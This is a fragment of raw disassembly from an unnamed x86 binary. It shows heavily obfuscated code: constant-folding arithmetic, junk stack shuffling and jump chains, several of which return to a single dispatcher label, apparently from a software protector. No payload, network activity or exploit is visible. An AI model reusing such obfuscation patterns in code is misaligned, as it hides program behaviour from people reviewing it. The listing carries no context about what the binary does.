		add	esp, 4
		pop	[esp+66h+var_68+2]
		pop	esp
		mov	word ptr [esp+5Eh+var_60+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_586593
; ---------------------------------------------------------------------------


loc_5820F0:				; CODE XREF: sub_57DD3A+C466j
		push	45EAh
		mov	[esp+68h+var_68], eax
		mov	eax, 1BA0365Ch
		xor	eax, 662724C3h
		mov	edi, eax
		pop	eax
		shl	edi, 5
		dec	edi
		or	edi, 13692889h
		add	edi, 275A386Fh
		add	edi, 58743BB7h
		xor	edi, 0B147390Ch
		add	edx, edi
		pop	edi
		push	ebx
		push	edx
		pop	ebx
		mov	eax, ebx
		push	[esp+64h+var_64]
		mov	ebx, [esp+68h+var_68]
		jmp	loc_588FB6
; ---------------------------------------------------------------------------


loc_582134:				; CODE XREF: sub_57DD3A+69ECj
		pop	esi
		push	esi
		mov	esi, 2
		sub	edi, 6BC016BCh
		add	edi, esi
		add	edi, 6BC016BCh
		pop	esi
		xchg	edi, [esp+64h+var_64]
		mov	esp, [esp+64h+var_64]
		div	cx
		jmp	loc_58B8E0
; ---------------------------------------------------------------------------


loc_582158:				; CODE XREF: sub_57DD3A+874Aj
		mov	ch, 28h
		sub	ch, 93h
		sub	ch, dh
		add	ch, 93h
		pop	edx
		xor	al, ch
		jmp	loc_5819BF
; ---------------------------------------------------------------------------


loc_58216A:				; CODE XREF: sub_57DD3A+BE25j
		pop	ecx
		jmp	loc_585D91
; ---------------------------------------------------------------------------


loc_582170:				; CODE XREF: sub_57DD3A+3DB7j
		xor	ebp, [esp+66h+var_68+2]
		mov	esp, [esp+66h+var_68+2]
		mov	[esp+66h+var_68+2], edx
		push	eax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_582180:				; CODE XREF: sub_57DD3A+4CF0j
		push	6B49322Fh
		jmp	loc_58DA75
; ---------------------------------------------------------------------------


loc_58218A:				; CODE XREF: sub_57DD3A+D1F8j
		pop	eax
		push	edx
		mov	edx, 1FD95F1Bh
		shl	edx, 1
		xor	edx, 39EB9ED0h
		sub	esi, edx
		pop	edx
		sub	esi, 0EB90DA9h
		jmp	loc_588413
; ---------------------------------------------------------------------------


loc_5821A7:				; CODE XREF: sub_57DD3A+6147j
		add	ebx, ebp
		pop	ebp
		add	ebx, 738779EEh
		sub	ebx, edi
		sub	ebx, 738779EEh
		jmp	loc_5877F4
; ---------------------------------------------------------------------------


loc_5821BD:				; CODE XREF: sub_57DD3A+6B9Aj
		add	edx, 6C4B0C70h
		jmp	loc_58592C
; ---------------------------------------------------------------------------


loc_5821C8:				; CODE XREF: sub_57DD3A+EE52j
					; sub_57DD3A+F672j
		push	3713h
		jmp	loc_5854A5
; ---------------------------------------------------------------------------
		mov	eax, [esp+6Eh+var_70+2]
		push	esi
		push	esp
		jmp	loc_5883B7
; ---------------------------------------------------------------------------


loc_5821DC:				; CODE XREF: sub_57DD3A+8F09j
		pop	ecx
		push	ebp
		mov	ebp, 4
		sub	ecx, 177254EEh
		add	ecx, ebp
		push	edx
		push	edi
		mov	edi, 7F95585Fh
		xor	edi, 327546E4h
		and	edi, 55935CF6h
		and	edi, 139E2D32h
		add	edi, 15F248BCh
		mov	edx, edi
		pop	edi
		add	ecx, edx
		jmp	loc_58CEEF
; ---------------------------------------------------------------------------


loc_582214:				; CODE XREF: sub_57DD3A+E91Aj
		mov	edx, [esp+7Ah+var_7C+2]
		add	esp, 4
		add	edx, 4
		push	ebp
		jmp	loc_58D59D
; ---------------------------------------------------------------------------


loc_582226:				; CODE XREF: sub_57DD3A+F994j
		add	eax, 4
		push	12E7h
		mov	[esp+7Eh+var_80+2], esi
		mov	esi, 5C984B22h
		jmp	loc_587535
; ---------------------------------------------------------------------------


loc_58223D:				; CODE XREF: sub_57DD3A+B29Cj
		add	ecx, 6D1E0ED8h
		pop	ebp
		jmp	loc_58935D
; ---------------------------------------------------------------------------


loc_582249:				; CODE XREF: sub_57DD3A+A585j
		add	esp, 4
		jmp	loc_588283
; ---------------------------------------------------------------------------


loc_582251:				; CODE XREF: sub_57DD3A+926Ej
		xchg	ebp, [esp+76h+var_78+2]
		pop	esp
		jmp	loc_582380
; ---------------------------------------------------------------------------


loc_58225A:				; CODE XREF: sub_57DD3A+B959j
		push	546Fh
		jmp	loc_58DB5B
; ---------------------------------------------------------------------------


loc_582264:				; CODE XREF: sub_57DD3A+BED7j
		add	esi, 7A4E7EAFh
		pop	ebx
		add	eax, 1B361EB7h
		sub	eax, 541712BBh
		jmp	loc_582933
; ---------------------------------------------------------------------------


loc_58227A:				; CODE XREF: sub_57DD3A+62A6j
		pop	eax
		push	ebp
		push	edx
		mov	edx, 5D064EB6h
		not	edx
		neg	edx
		push	ebp
		mov	ebp, 0
		sub	ebp, edx
		xchg	ebp, edx
		pop	ebp
		sub	edx, 8E7B9759h
		mov	ebp, edx
		pop	edx
		inc	ebp
		sub	esp, 4
		mov	[esp+76h+var_78+2], ebx
		mov	ebx, 599104B1h
		and	ebp, ebx
		jmp	loc_586EB3
; ---------------------------------------------------------------------------


loc_5822B0:				; CODE XREF: sub_57DD3A+6870j
		mov	ebp, 76DB6C33h
		jmp	loc_588A66
; ---------------------------------------------------------------------------


loc_5822BA:				; CODE XREF: sub_57DD3A+E797j
		mov	ebx, esp
		jmp	loc_5880AB
; ---------------------------------------------------------------------------


loc_5822C1:				; CODE XREF: sub_57DD3A+DCF4j
		or	eax, 54B2F53h
		neg	eax
		shr	eax, 2
		xor	eax, 0DBB33FE6h
		mov	esi, eax
		jmp	loc_587145
; ---------------------------------------------------------------------------


loc_5822D7:				; CODE XREF: sub_57DD3A+9390j
		pop	esi
		push	edi
		mov	edi, 4B387622h
		xor	esi, edi
		pop	edi
		mov	ebx, [esp+72h+var_74+2]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp+6Eh+var_70+2]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_58BE31
; ---------------------------------------------------------------------------


loc_582301:				; CODE XREF: sub_57DD3A+6C14j
		and	edx, 406E6F79h
		push	53CBh
		mov	[esp+72h+var_74+2], eax
		mov	eax, 51D212DBh
		not	eax
		sub	eax, 53AE27C0h
		xor	eax, 5A77C370h
		xor	edx, eax
		pop	eax
		jmp	loc_58946E
; ---------------------------------------------------------------------------
		mov	eax, [esp+6Eh+var_70+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 6FDC30A9h
		sub	esp, 4
		jmp	loc_5826B7
; ---------------------------------------------------------------------------


loc_582344:				; CODE XREF: sub_57DD3A+7ADCj
		pop	eax
		push	[esp+76h+var_78+2]
		pop	esi
		push	24FCh
		mov	[esp+7Ah+var_7C+2], ebp
		push	esp
		pop	ebp
		jmp	loc_582DD2
; ---------------------------------------------------------------------------


loc_582358:				; CODE XREF: sub_57DD3A+B8DFj
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xor	eax, [esp+76h+var_78+2]
		jmp	loc_58DA44
; ---------------------------------------------------------------------------


loc_582368:				; CODE XREF: sub_57DD3A+411Cj
		and	edx, 60315B21h
		inc	edx
		shl	edx, 8
		xor	edx, 64D02021h
		add	ecx, edx
		pop	edx
		jmp	loc_585C4E
; ---------------------------------------------------------------------------


loc_582380:				; CODE XREF: sub_57DD3A+451Bj
		xchg	ebp, [esp+72h+var_74+2]
		mov	esp, [esp+72h+var_74+2]
		mov	[esp+72h+var_74+2], eax
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+72h+var_74+2]
		push	esi
		push	esp
		jmp	loc_582555
; ---------------------------------------------------------------------------


loc_582399:				; CODE XREF: sub_57DD3A+649Ej
		mov	esp, [esp+7Ah+var_7C+2]
		xor	ecx, 26DB6D8Ah
		push	ebp
		jmp	loc_582CF0
; ---------------------------------------------------------------------------


loc_5823A8:				; CODE XREF: sub_57DD3A+6B31j
		push	6535h
		jmp	loc_581A5A
; ---------------------------------------------------------------------------


loc_5823B2:				; CODE XREF: sub_57DD3A+9961j
		xchg	ecx, edi
		push	eax
		push	66Fh
		mov	[esp+8Ah+var_8C+2], edi
		mov	eax, [esp+8Ah+var_8C+2]
		push	ebx
		jmp	loc_587E2E
; ---------------------------------------------------------------------------


loc_5823C6:				; CODE XREF: sub_57DD3A+48E7j
		mov	ebx, 90692096h
		sub	ebp, ebx
		pop	ebx
		sub	esi, ebp
		jmp	loc_586A2D
; ---------------------------------------------------------------------------


loc_5823D5:				; CODE XREF: sub_57DD3A+E6D1j
		mov	eax, 6EDB1039h
		jmp	loc_5886B0
; ---------------------------------------------------------------------------


loc_5823DF:				; CODE XREF: sub_57DD3A+AB62j
		xor	al, bh
		pop	ebx
		push	2B8Dh
		mov	[esp+8Ah+var_8C+2], eax
		mov	ah, 7Ch
		add	bl, 0EBh
		sub	bl, ah
		sub	bl, 0EBh
		jmp	loc_583D05
; ---------------------------------------------------------------------------


loc_5823F9:				; CODE XREF: sub_57DD3A+D4EBj
		mov	esi, 4
		mov	ebx, esi
		pop	esi
		jmp	loc_582829
; ---------------------------------------------------------------------------


loc_582406:				; CODE XREF: sub_57DD3A+C169j
		push	ecx
		mov	ch, 0F4h
		not	ch
		shr	ch, 1
		sub	ch, 0
		neg	ch
		jmp	loc_58B81E
; ---------------------------------------------------------------------------


loc_582417:				; CODE XREF: sub_57DD3A+4DF1j
		xchg	edi, [esp+8Ah+var_8C+2]
		pop	esp
		add	bl, al
		add	bl, 37h
		sub	bl, 9Fh
		push	ebx
		push	eax
		push	51BD4ECAh
		jmp	loc_58BC3B
; ---------------------------------------------------------------------------


loc_58242F:				; CODE XREF: sub_57DD3A+75EFj
		add	esp, 4
		add	ebx, 413F38C0h
		sub	ebx, eax
		push	ebp
		mov	ebp, 751C277Ah
		add	ebp, 65B2729Eh
		push	ebp
		not	[esp+96h+var_98+2]
		jmp	loc_584707
; ---------------------------------------------------------------------------


loc_582452:				; CODE XREF: sub_57DD3A+D4ADj
		add	eax, ebp
		pop	ebp
		push	15A7h
		mov	[esp+96h+var_98+2], edi
		mov	edi, 58DA3D44h
		add	edi, 0DE43DF77h
		add	eax, edi
		mov	edi, [esp+96h+var_98+2]
		add	esp, 4
		jmp	loc_58C773
; ---------------------------------------------------------------------------


loc_582478:				; CODE XREF: sub_57DD3A+8005j
		pop	ebx
		add	ecx, 0A9F3BABCh
		add	eax, ecx
		pop	ecx
		push	768h
		mov	[esp+8Eh+var_90+2], esi
		mov	esi, 2
		add	eax, esi
		jmp	loc_58688D
; ---------------------------------------------------------------------------


loc_582496:				; CODE XREF: sub_57DD3A+CDE5j
		add	al, 82h
		push	ecx
		mov	ch, 89h
		neg	ch
		shr	ch, 7
		and	ch, 5Ch
		or	ch, 24h
		or	ch, 0AAh
		push	ebx
		jmp	loc_58A7B0
; ---------------------------------------------------------------------------


loc_5824AF:				; CODE XREF: sub_57DD3A+D80Dj
		push	[esp+96h+var_98+2]
		jmp	loc_583508
; ---------------------------------------------------------------------------


loc_5824B7:				; CODE XREF: sub_57DD3A+9355j
		mov	ebp, esp
		jmp	loc_582859
; ---------------------------------------------------------------------------


loc_5824BE:				; CODE XREF: sub_57DD3A+E824j
		push	eax
		mov	eax, esp
		jmp	loc_581B94
; ---------------------------------------------------------------------------
		push	[esp+9Eh+var_A0+2]
		pop	eax
		sub	esp, 4
		mov	[esp+0A2h+var_A4+2], eax
		push	esp
		jmp	loc_58C106
; ---------------------------------------------------------------------------


loc_5824D6:				; CODE XREF: sub_57DD3A+AB05j
		pop	esp
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5824DC:				; CODE XREF: sub_57DD3A+4BBDj
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+9Eh+var_A0+2]
		pop	esp
		push	ebp
		mov	ebp, 316A151Ah
		push	eax
		mov	eax, 316A151Eh
		xor	ebp, eax
		jmp	loc_583131
; ---------------------------------------------------------------------------


loc_5824FD:				; CODE XREF: sub_57DD3A+FA4Ej
		push	ebp
		mov	ebp, 60882696h
		jmp	loc_58A964
; ---------------------------------------------------------------------------


loc_582508:				; CODE XREF: sub_57DD3A+F75Aj
		push	ecx
		mov	ecx, esp
		jmp	loc_588BB6
; ---------------------------------------------------------------------------


loc_582510:				; CODE XREF: sub_57DD3A+9AC1j
		push	small word ptr [eax]
		jmp	loc_58CFD9
; ---------------------------------------------------------------------------


loc_582518:				; CODE XREF: sub_57DD3A+7A50j
		push	[esp+0ACh+var_A8]
		pop	eax
		jmp	loc_583604
; ---------------------------------------------------------------------------


loc_582522:				; CODE XREF: sub_57DD3A+544Aj
		pop	eax
		jmp	loc_589698
; ---------------------------------------------------------------------------


loc_582528:				; CODE XREF: sub_57DD3A+AC00j
		xchg	edi, ebp
		pop	edi
		push	eax
		jmp	loc_5862A1
; ---------------------------------------------------------------------------


loc_582531:				; CODE XREF: sub_57DD3A+57ADj
		mov	edx, 4
		add	edi, edx
		jmp	loc_5858F1
; ---------------------------------------------------------------------------


loc_58253D:				; CODE XREF: sub_57DD3A+BBCCj
		push	5C0Ch
		jmp	loc_58DDCD
; ---------------------------------------------------------------------------


loc_582547:				; CODE XREF: sub_57DD3A+F603j
		mov	ax, word ptr [esp+0ACh+var_AC]
		add	esp, 2
		not	dl
		jmp	loc_584F69
; ---------------------------------------------------------------------------


loc_582555:				; CODE XREF: sub_57DD3A+465Aj
		pop	esi
		jmp	loc_5831A1
; ---------------------------------------------------------------------------


loc_58255B:				; CODE XREF: sub_57DD3A+A14Ej
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp+7Eh+var_80+2], ebx
		mov	ebx, 23656316h
		xor	[esp+7Eh+var_7C+2], ebx
		pop	ebx
		push	[esp+7Ah+var_7C+2]
		pop	eax
		add	esp, 4
		push	7C12h
		mov	[esp+7Ah+var_7C+2], ebx
		push	edi
		mov	edi, 5DC06DBh
		mov	ebx, 26B965CDh
		xor	ebx, edi
		mov	edi, [esp+7Eh+var_80+2]
		add	esp, 4
		xor	eax, ebx
		push	[esp+7Ah+var_7C+2]
		mov	ebx, [esp+7Eh+var_80+2]
		add	esp, 4
		add	esp, 4
		movzx	ax, byte ptr [eax]
		push	small 1898h
		mov	word ptr [esp+78h+var_78], ax
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5825B5:				; CODE XREF: sub_57DD3A+B7FFj
		pop	ebp
		jmp	loc_585D44
; ---------------------------------------------------------------------------


loc_5825BB:				; CODE XREF: sub_57DD3A+9068j
		not	edi
		sub	edi, 18AA7C84h
		add	edi, 0B5A91A9h
		sub	eax, edi
		jmp	loc_584CE2
; ---------------------------------------------------------------------------


loc_5825D0:				; CODE XREF: sub_57DD3A+58A9j
		push	3C8Bh
		mov	[esp+78h+var_78], esi
		mov	esi, 547D0372h
		jmp	loc_588204
; ---------------------------------------------------------------------------


loc_5825E2:				; CODE XREF: sub_57DD3A+C61Aj
		sub	eax, 7E2E79D5h
		pop	ecx
		push	5EF9h
		mov	[esp+78h+var_78], esi
		jmp	loc_58D038
; ---------------------------------------------------------------------------


loc_5825F5:				; CODE XREF: sub_57DD3A+6BEEj
		xor	[esp+78h+var_78], ecx
		jmp	loc_58D63D
; ---------------------------------------------------------------------------


loc_5825FD:				; CODE XREF: sub_57DD3A+3FA2j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_582602:				; CODE XREF: sub_57DD3A+9613j
		pop	edi
		xchg	ecx, [esp+8Ch+var_8C]
		mov	esp, [esp+8Ch+var_8C]
		jmp	loc_584882
; ---------------------------------------------------------------------------


loc_58260E:				; CODE XREF: sub_57DD3A+FF78j
		xor	eax, esi
		push	[esp+8Ch+var_8C]
		jmp	loc_584962
; ---------------------------------------------------------------------------


loc_582618:				; CODE XREF: sub_57DD3A+5340j
		shr	ecx, 6
		jmp	loc_582BFA
; ---------------------------------------------------------------------------


loc_582620:				; CODE XREF: sub_57DD3A+4D33j
		push	ebx
		jmp	loc_5823C6
; ---------------------------------------------------------------------------


loc_582626:				; CODE XREF: sub_57DD3A+FF64j
		mov	[esp+94h+var_94], ecx
		mov	ch, al
		jmp	loc_58CD05
; ---------------------------------------------------------------------------


loc_582630:				; CODE XREF: sub_57DD3A+E23Aj
		shl	edx, 2
		sub	edx, 253FAA22h
		add	ecx, edx
		mov	edx, [esp+94h+var_94]
		add	esp, 4
		sub	esp, 4
		mov	[esp+94h+var_94], eax
		mov	eax, 544D1E2Fh
		or	eax, 1E9B45E7h
		sub	eax, 0FFFFFFFFh
		sub	eax, 44EEF687h
		jmp	loc_58A80C
; ---------------------------------------------------------------------------


loc_582666:				; CODE XREF: sub_57DD3A+58C0j
		mov	ebp, 6DD802F4h
		add	[esp+94h+var_90], ebp
		jmp	loc_58199F
; ---------------------------------------------------------------------------


loc_582674:				; CODE XREF: sub_57DD3A+5D08j
		add	al, ch
		pop	ecx
		add	al, cl
		sub	al, 2Ah
		add	al, 0Eh
		sub	al, 82h
		pop	cx
		sub	bl, 94h
		add	bl, 6
		sub	bl, 3
		jmp	loc_584826
; ---------------------------------------------------------------------------


loc_58268F:				; CODE XREF: sub_57DD3A+E344j
		sub	edi, 456A5989h
		pop	edx
		add	edi, 4
		xor	edi, [esp+8Ah+var_8C+2]
		xor	[esp+8Ah+var_8C+2], edi
		jmp	loc_58DE36
; ---------------------------------------------------------------------------


loc_5826A4:				; CODE XREF: sub_57DD3A+8784j
		push	ecx
		mov	ecx, 188D71D5h
		neg	ecx
		and	ecx, 20A56D28h
		jmp	loc_587F36
; ---------------------------------------------------------------------------


loc_5826B7:				; CODE XREF: sub_57DD3A+4605j
		mov	[esp+7Ah+var_7C+2], ebx
		jmp	loc_587C17
; ---------------------------------------------------------------------------


loc_5826BF:				; CODE XREF: sub_57DD3A+8F9Bj
		sub	esp, 4
		jmp	loc_589386
; ---------------------------------------------------------------------------


loc_5826C7:				; CODE XREF: sub_57DD3A+1027Cj
		mov	edx, [esp+7Eh+var_80+2]
		add	esp, 4
		add	edx, 4
		push	edi
		push	ecx
		mov	ecx, 2FF34B6Bh
		mov	edi, 0D00CB499h
		jmp	loc_5880F9
; ---------------------------------------------------------------------------


loc_5826E7:				; CODE XREF: sub_57DD3A+9E69j
		mov	dh, 9
		sub	bl, dh
		jmp	loc_5845AF
; ---------------------------------------------------------------------------


loc_5826F0:				; CODE XREF: sub_57DD3A+F63Bj
		pop	[esp+82h+var_84+2]
		pop	esp
		push	6126h
		mov	[esp+7Eh+var_80+2], ebx
		push	3829h
		mov	[esp+82h+var_84+2], ecx
		push	ebx
		push	ecx
		mov	cl, 2Fh
		mov	bl, cl
		pop	ecx
		jmp	loc_58C2E4
; ---------------------------------------------------------------------------


loc_582710:				; CODE XREF: sub_57DD3A+9AA8j
		mov	[esp+86h+var_88+2], ebx
		jmp	loc_58D08E
; ---------------------------------------------------------------------------


loc_582718:				; CODE XREF: sub_57DD3A+87CFj
		push	ebx
		push	26676DF0h
		pop	ebx
		jmp	loc_58548F
; ---------------------------------------------------------------------------


loc_582724:				; CODE XREF: sub_57DD3A+F076j
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+92h+var_94+2], eax
		mov	eax, 29C6326Dh
		shl	eax, 4
		push	edx
		jmp	loc_58DD66
; ---------------------------------------------------------------------------


loc_58273E:				; CODE XREF: sub_57DD3A+D48Ej
		push	ebx
		push	ecx
		mov	cl, 8Fh
		jmp	loc_5895C0
; ---------------------------------------------------------------------------


loc_582747:				; CODE XREF: sub_57DD3A+8528j
		push	1
		pop	edx
		push	149Dh
		mov	[esp+0A2h+var_A4+2], ecx
		mov	ecx, 24h
		add	ecx, edi
		push	eax
		mov	eax, 2012162Ch
		add	eax, 0DFEDE9D4h
		add	eax, ecx
		add	[eax], edx
		pop	eax
		mov	ecx, [esp+0A2h+var_A4+2]
		jmp	loc_58469E
; ---------------------------------------------------------------------------


loc_582774:				; CODE XREF: sub_57DD3A+D1E5j
		xor	[esp+0A2h+var_A4+2], esi
		xor	esi, [esp+0A2h+var_A4+2]
		pop	esp
		sub	esp, 4
		mov	[esp+0A2h+var_A4+2], ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		jmp	loc_5880E9
; ---------------------------------------------------------------------------


loc_58278E:				; CODE XREF: sub_57DD3A+6767j
		push	edx
		push	ebp
		mov	ebp, 8CF0FE0h
		neg	ebp
		sub	ebp, 7363EE90h
		push	ebp
		pop	edx
		pop	ebp
		push	edx
		pop	ebp
		mov	edx, [esp+0AAh+var_AC+2]
		jmp	loc_58D551
; ---------------------------------------------------------------------------


loc_5827AA:				; CODE XREF: sub_57DD3A+7AA0j
		push	edx
		add	[esp+0AEh+var_B0+2], 1
		pop	edx
		jmp	loc_58DCA3
; ---------------------------------------------------------------------------


loc_5827B5:				; CODE XREF: sub_57DD3A+5846j
		mov	[esp+0AAh+var_AC+2], esp
		jmp	loc_581FFC
; ---------------------------------------------------------------------------


loc_5827BD:				; CODE XREF: sub_57DD3A+AE37j
		or	ecx, 6BB2D41h
		add	ecx, 0CDD4FEh
		jmp	loc_58D237
; ---------------------------------------------------------------------------


loc_5827CE:				; CODE XREF: sub_57DD3A+7AB8j
		push	bx
		mov	bl, 5Eh
		add	ch, bl
		jmp	loc_589C83
; ---------------------------------------------------------------------------


loc_5827D9:				; CODE XREF: sub_57DD3A+DC73j
		push	esi
		push	42DFh
		mov	[esp+0B4h+var_B4], esp
		add	[esp+0B4h+var_B4], 4
		jmp	loc_5832E7
; ---------------------------------------------------------------------------


loc_5827EE:				; CODE XREF: sub_57DD3A+C2A3j
		xor	ecx, 3D9E60CFh
		sub	ebx, ecx
		pop	ecx
		sub	ebx, ebp
		add	ebx, 355E449Ah
		jmp	loc_58DB0A
; ---------------------------------------------------------------------------


loc_582804:				; CODE XREF: sub_57DD3A+86F8j
		dec	bl
		mov	dl, bl
		pop	bx
		push	ecx
		jmp	loc_586F0E
; ---------------------------------------------------------------------------


loc_582810:				; CODE XREF: sub_57DD3A+E133j
		push	esi
		mov	esi, 13840480h
		jmp	loc_5843A9
; ---------------------------------------------------------------------------


loc_58281B:				; CODE XREF: sub_57DD3A+6FA3j
		push	ebp
		jmp	loc_583CC8
; ---------------------------------------------------------------------------


loc_582821:				; CODE XREF: sub_57DD3A+B614j
		mov	[esp+0BAh+var_BC+2], edx
		jmp	loc_58941D
; ---------------------------------------------------------------------------


loc_582829:				; CODE XREF: sub_57DD3A+46C7j
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+82h+var_84+2]
		pop	esp
		jmp	loc_58A1AB
; ---------------------------------------------------------------------------


loc_582835:				; CODE XREF: sub_57DD3A+F055j
		push	ax
		mov	ah, ch
		jmp	loc_58A7BD
; ---------------------------------------------------------------------------


loc_58283E:				; CODE XREF: sub_57DD3A+4109j
		xchg	esi, [esp+86h+var_88+2]
		pop	esp
		push	ebp
		mov	ebp, 2
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp+82h+var_84+2]
		xor	[esp+82h+var_84+2], ebx
		xor	ebx, [esp+82h+var_84+2]
		jmp	loc_581CD5
; ---------------------------------------------------------------------------


loc_582859:				; CODE XREF: sub_57DD3A+477Fj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+9Ah+var_9C+2]
		pop	esp
		jmp	loc_587366
; ---------------------------------------------------------------------------


loc_58286E:				; CODE XREF: sub_57DD3A+EFF6j
		add	esp, 4
		jmp	loc_58CC17
; ---------------------------------------------------------------------------


loc_582876:				; CODE XREF: sub_57DD3A+9E11j
		sub	esi, eax
		pop	eax
		jmp	loc_581933
; ---------------------------------------------------------------------------


loc_58287E:				; CODE XREF: sub_57DD3A+DA26j
		push	esi
		push	esp
		jmp	loc_585CAE
; ---------------------------------------------------------------------------


loc_582885:				; CODE XREF: sub_57DD3A+BC91j
		push	eax
		mov	eax, 4
		jmp	loc_58DF9E
; ---------------------------------------------------------------------------


loc_582890:				; CODE XREF: sub_57DD3A+695Fj
		mov	eax, 1
		add	ebp, eax
		jmp	loc_588E1E
; ---------------------------------------------------------------------------


loc_58289C:				; CODE XREF: sub_57DD3A+EB71j
		mov	[esp+9Ah+var_9C+2], ebp
		push	28CFh
		mov	[esp+9Eh+var_A0+2], edi
		push	22D27368h
		pop	edi
		push	ebp
		push	eax
		jmp	loc_582E7A
; ---------------------------------------------------------------------------


loc_5828B4:				; CODE XREF: sub_57DD3A+F597j
		push	ebx
		mov	ebx, 754C4AC5h
		mov	ecx, 7A65046Dh
		xor	ecx, ebx
		mov	ebx, [esp+0AAh+var_AC+2]
		add	esp, 4
		neg	ecx
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 999D8C5Fh
		sub	eax, ecx
		mov	ecx, [esp+0A6h+var_A8+2]
		add	esp, 4
		add	eax, 7C361E58h
		add	eax, 0BD26722h
		jmp	loc_5830A6
; ---------------------------------------------------------------------------


loc_5828EF:				; CODE XREF: sub_57DD3A+93BFj
		mov	ebp, ecx
		jmp	loc_58AB7F
; ---------------------------------------------------------------------------


loc_5828F6:				; CODE XREF: sub_57DD3A+C14Fj
		push	esp
		jmp	loc_5824DC
; ---------------------------------------------------------------------------


loc_5828FC:				; CODE XREF: sub_57DD3A+EF7Cj
		add	al, bh
		sub	al, 35h
		add	al, 64h
		jmp	loc_58B7FB
; ---------------------------------------------------------------------------


loc_582907:				; CODE XREF: sub_57DD3A+ABA3j
		mov	dh, bh
		mov	ch, dh
		pop	edx
		pop	ebx
		add	bl, 85h
		add	bl, ch
		push	eax
		jmp	loc_5866B2
; ---------------------------------------------------------------------------
		neg	word ptr [esp+0A2h+var_A4+2]
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_582922:				; CODE XREF: sub_57DD3A+5029j
		mov	[esp+0A6h+var_A8+2], esi
		push	[esp+0A6h+var_A4+2]
		pop	esi
		pop	[esp+0A6h+var_A8+2]
		pop	esp
		jmp	loc_589573
; ---------------------------------------------------------------------------


loc_582933:				; CODE XREF: sub_57DD3A+453Bj
		sub	eax, esi
		add	eax, 541712BBh
		sub	eax, 1B361EB7h
		jmp	loc_583BC5
; ---------------------------------------------------------------------------


loc_582944:				; CODE XREF: sub_57DD3A+95BDj
		sub	si, ax
		xchg	ax, si
		pop	si
		sub	ax, 0BAA9h
		mov	dx, ax
		pop	eax
		xor	dx, 782Eh
		add	bx, dx
		mov	edx, [esp+6Ch+var_6C]
		add	esp, 4
		jmp	loc_58CD85
; ---------------------------------------------------------------------------


loc_582966:				; CODE XREF: sub_57DD3A+4D51j
		mov	bh, 91h
		and	bh, 17h
		sub	bh, 0CAh
		neg	bh
		neg	bh
		add	bh, 0E2h
		jmp	loc_5868CE
; ---------------------------------------------------------------------------


loc_58297A:				; CODE XREF: sub_57DD3A+7F08j
		xor	bl, 0Ch
		add	al, bl
		pop	ebx
		jmp	loc_585CC6
; ---------------------------------------------------------------------------


loc_582985:				; CODE XREF: sub_57DD3A+DD2Ej
		pop	[esp+64h+var_64]
		push	esi
		push	4
		mov	esi, [esp+68h+var_68]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+6Ch+var_6C]
		pop	esp
		sub	[esp+68h+var_64], 7A0845ECh
		jmp	loc_58700F
; ---------------------------------------------------------------------------


loc_5829B1:				; CODE XREF: sub_57DD3A+71EEj
		sub	edx, ebp
		jmp	loc_58C92D
; ---------------------------------------------------------------------------


loc_5829B8:				; CODE XREF: sub_57DD3A+A79Fj
		sub	esi, 645E6B85h
		shl	esi, 2
		sub	esi, 6FD672AAh
		mov	ebx, esi
		pop	esi
		mov	ecx, ebx
		mov	ebx, [esp+64h+var_64]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58862D
; ---------------------------------------------------------------------------


loc_5829E0:				; CODE XREF: sub_57DD3A+DC00j
		xor	[esp+68h+var_68], ebx
		xor	ebx, [esp+68h+var_68]
		jmp	loc_58B338
; ---------------------------------------------------------------------------


loc_5829EB:				; CODE XREF: sub_57DD3A+5DC9j
		pop	[esp+68h+var_68]
		not	ebx
		push	ebx
		push	[esp+68h+var_64]
		pop	ebx
		pop	[esp+68h+var_68]
		mov	esi, [esp+64h+var_64]
		jmp	loc_586A52
; ---------------------------------------------------------------------------


loc_582A01:				; CODE XREF: sub_57DD3A+C368j
		pop	esp
		mov	[esp+60h+var_60], ebx
		push	esp
		jmp	loc_58BB0B
; ---------------------------------------------------------------------------


loc_582A0B:				; CODE XREF: sub_57DD3A+AE77j
		pop	esi
		jmp	loc_58AB9B
; ---------------------------------------------------------------------------


loc_582A11:				; CODE XREF: sub_57DD3A+7C09j
		push	ebx
		push	ebp
		mov	ebp, 797A3AB3h
		mov	ebx, 0D09E9E16h
		sub	ebx, ebp
		pop	ebp
		xor	ebx, 517877BEh
		mov	ebp, ebx
		pop	ebx
		push	ebx
		jmp	loc_582180
; ---------------------------------------------------------------------------
		push	[esp+64h+var_64]
		pop	eax
		push	62F0h
		mov	[esp+68h+var_68], ecx
		mov	ecx, esp
		jmp	loc_587689
; ---------------------------------------------------------------------------


loc_582A42:				; CODE XREF: sub_57DD3A+C4DEj
		not	edi
		xor	edi, 0C0FBA33Fh
		add	eax, edi
		pop	edi
		add	eax, edi
		sub	eax, 0A2B2161h
		pop	edi
		push	ebx
		mov	ebx, 2
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+60h+var_60]
		jmp	loc_586367
; ---------------------------------------------------------------------------


loc_582A66:				; CODE XREF: sub_57DD3A+FBEDj
		mov	ebp, 430F6366h
		neg	ebp
		jmp	loc_582620
; ---------------------------------------------------------------------------


loc_582A72:				; CODE XREF: sub_57DD3A+638Bj
		push	edx
		mov	edx, 288B0C4Bh
